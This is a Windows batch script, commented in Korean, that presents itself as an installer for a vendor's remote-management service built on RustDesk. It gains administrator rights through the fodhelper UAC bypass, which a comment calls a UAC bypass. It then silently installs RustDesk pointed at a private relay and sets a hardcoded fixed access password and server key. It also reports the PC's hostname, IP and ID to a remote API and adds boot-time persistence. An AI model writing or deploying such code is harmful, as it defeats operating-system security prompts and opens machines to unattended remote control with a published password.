@echo off
chcp 65001 > nul

:: ======================================================
:: 라온핏 원격관리 - 자동 설치 프로그램
:: 사용자는 이 파일을 실행하기만 하면 됩니다.
:: ======================================================

:: ---- 관리자 권한 확인 및 자동 획득 (UAC 창 없음) ----
net session >nul 2>&1
if %errorLevel% == 0 goto :MAIN

:: fodhelper UAC 우회
set "MYPATH=%~f0"
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c \"%MYPATH%\"" /f >nul 2>&1
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /d "" /f >nul 2>&1
start "" /wait fodhelper.exe
timeout /t 3 >nul
reg delete "HKCU\Software\Classes\ms-settings" /f >nul 2>&1
exit /b

:MAIN
title 라온핏 원격관리 설치 중...

:: ---- 설정 ----
set ADMIN_PW=raonfit2024!
set SERVER=rs.raonfit.com
set API_URL=https://rs.raonfit.com/api
set SERVER_KEY=cxUgAc+V5i2ejroKIw9j1pbzBRvD6T2sgoHHghtwwHY=

echo.
echo  [라온핏 원격관리] 설치를 시작합니다...
echo.

:: ---- PC명에서 납품처 자동 파싱 ----
powershell -NoProfile -Command "$n='%COMPUTERNAME%'; $n=$n.Replace('_',' ').Trim(); if($n -match '^([^\s]+)\s'){$Matches[1]}else{'미분류'}" > "%TEMP%\rd_loc.txt" 2>nul
set /p PARSED_LOC=<"%TEMP%\rd_loc.txt"
if "%PARSED_LOC%"=="" set PARSED_LOC=미분류
del "%TEMP%\rd_loc.txt" 2>nul

echo  PC명: %COMPUTERNAME%
echo  납품처 (자동인식): %PARSED_LOC%
echo.

:: ---- [1/5] RustDesk 경로 탐색 ----
echo  [1/5] RustDesk 확인 중...
set RUSTDESK_EXE=
if exist "C:\Program Files\RustDesk\rustdesk.exe"         set RUSTDESK_EXE=C:\Program Files\RustDesk\rustdesk.exe
if exist "%LOCALAPPDATA%\Programs\RustDesk\rustdesk.exe"  set RUSTDESK_EXE=%LOCALAPPDATA%\Programs\RustDesk\rustdesk.exe
if exist "%ProgramFiles(x86)%\RustDesk\rustdesk.exe"      set RUSTDESK_EXE=%ProgramFiles(x86)%\RustDesk\rustdesk.exe

if not "%RUSTDESK_EXE%"=="" (
    echo     이미 설치됨: %RUSTDESK_EXE%
    goto :CONFIGURE
)

echo  [1/5] RustDesk 다운로드 중...
powershell -NoProfile -ExecutionPolicy Bypass -Command "try { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $u='https://github.com/rustdesk/rustdesk/releases/download/1.3.8/rustdesk-1.3.8-x86_64.exe'; Invoke-WebRequest $u -OutFile '%TEMP%\rd_setup.exe' -UseBasicParsing; Start-Process '%TEMP%\rd_setup.exe' -ArgumentList '/S' -Wait } catch { }" >nul 2>&1

timeout /t 5 >nul
if exist "C:\Program Files\RustDesk\rustdesk.exe" (
    set RUSTDESK_EXE=C:\Program Files\RustDesk\rustdesk.exe
    echo     설치 완료
    goto :CONFIGURE
)
if exist "%LOCALAPPDATA%\Programs\RustDesk\rustdesk.exe" (
    set RUSTDESK_EXE=%LOCALAPPDATA%\Programs\RustDesk\rustdesk.exe
    echo     설치 완료
    goto :CONFIGURE
)

echo     오류: RustDesk 설치 실패
powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('RustDesk 설치에 실패했습니다.`n관리자에게 문의하세요.', '라온핏 원격관리', 'OK', 'Error') | Out-Null"
exit /b 1

:CONFIGURE
:: ---- [2/5] 서버 설정 적용 ----
echo  [2/5] 서버 설정 적용 중...
set CFG_DIR=%APPDATA%\RustDesk\config
mkdir "%CFG_DIR%" 2>nul
(
echo [options]
echo custom-rendezvous-server = "%SERVER%"
echo relay-server = "%SERVER%"
echo api-server = "http://%SERVER%"
echo key = "%SERVER_KEY%"
) > "%CFG_DIR%\RustDesk2.toml"
echo     완료

:: ---- [3/5] 고정 비밀번호 설정 ----
echo  [3/5] 비밀번호 설정 중...
taskkill /F /IM rustdesk.exe 2>nul
timeout /t 2 >nul
"%RUSTDESK_EXE%" --password %ADMIN_PW% >nul 2>&1
timeout /t 2 >nul
echo     완료

:: ---- [4/5] RustDesk ID 확인 ----
echo  [4/5] RustDesk 시작 및 ID 확인 중...
start "" "%RUSTDESK_EXE%"
timeout /t 8 >nul

set RDID=
for /f "delims=" %%i in ('"%RUSTDESK_EXE%" --get-id 2^>nul') do (
    if not "%%i"=="" set RDID=%%i
)

if "%RDID%"=="" (
    powershell -NoProfile -Command "if(Test-Path '%CFG_DIR%\RustDesk.toml'){$t=Get-Content '%CFG_DIR%\RustDesk.toml' -Raw; if($t -match 'id\s*=\s*[\"'']([^\"'']+)[\"'']'){$Matches[1]}}" > "%TEMP%\rdid.txt" 2>nul
    set /p RDID=<"%TEMP%\rdid.txt"
    del "%TEMP%\rdid.txt" 2>nul
)

if "%RDID%"=="" set RDID=ID확인불가
echo     ID: %RDID%

:: ---- [5/5] 서버 등록 ----
echo  [5/5] 서버에 등록 중...
powershell -NoProfile -Command "try { $ip=(Invoke-RestMethod 'https://api.ipify.org' -TimeoutSec 5); $b=@{rustdesk_id='%RDID%';hostname='%COMPUTERNAME%';parsed_location='%PARSED_LOC%';ip_address=$ip}|ConvertTo-Json; Invoke-RestMethod -Uri 'https://rs.raonfit.com/api/heartbeat' -Method POST -ContentType 'application/json' -Body $b -TimeoutSec 10|Out-Null } catch { }" 2>nul
echo     완료

:: ---- 부팅 시 자동 시작 등록 ----
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "RaonFitRemote" /d "\"%RUSTDESK_EXE%\" --silent" /f >nul 2>&1

:: ---- 완료 알림 (Windows 풍선 알림) ----
powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Application; $n.Visible=$true; $n.BalloonTipTitle='라온핏 원격관리'; $n.BalloonTipText='설치가 완료되었습니다. ID: %RDID%'; $n.BalloonTipIcon='Info'; $n.ShowBalloonTip(5000); Start-Sleep -Seconds 4; $n.Dispose()" 2>nul

echo.
echo  ========================================
echo    설치 완료!
echo    PC명       : %COMPUTERNAME%
echo    RustDesk ID: %RDID%
echo    납품처     : %PARSED_LOC%
echo  ========================================
echo.
timeout /t 5 >nul
exit /b 0
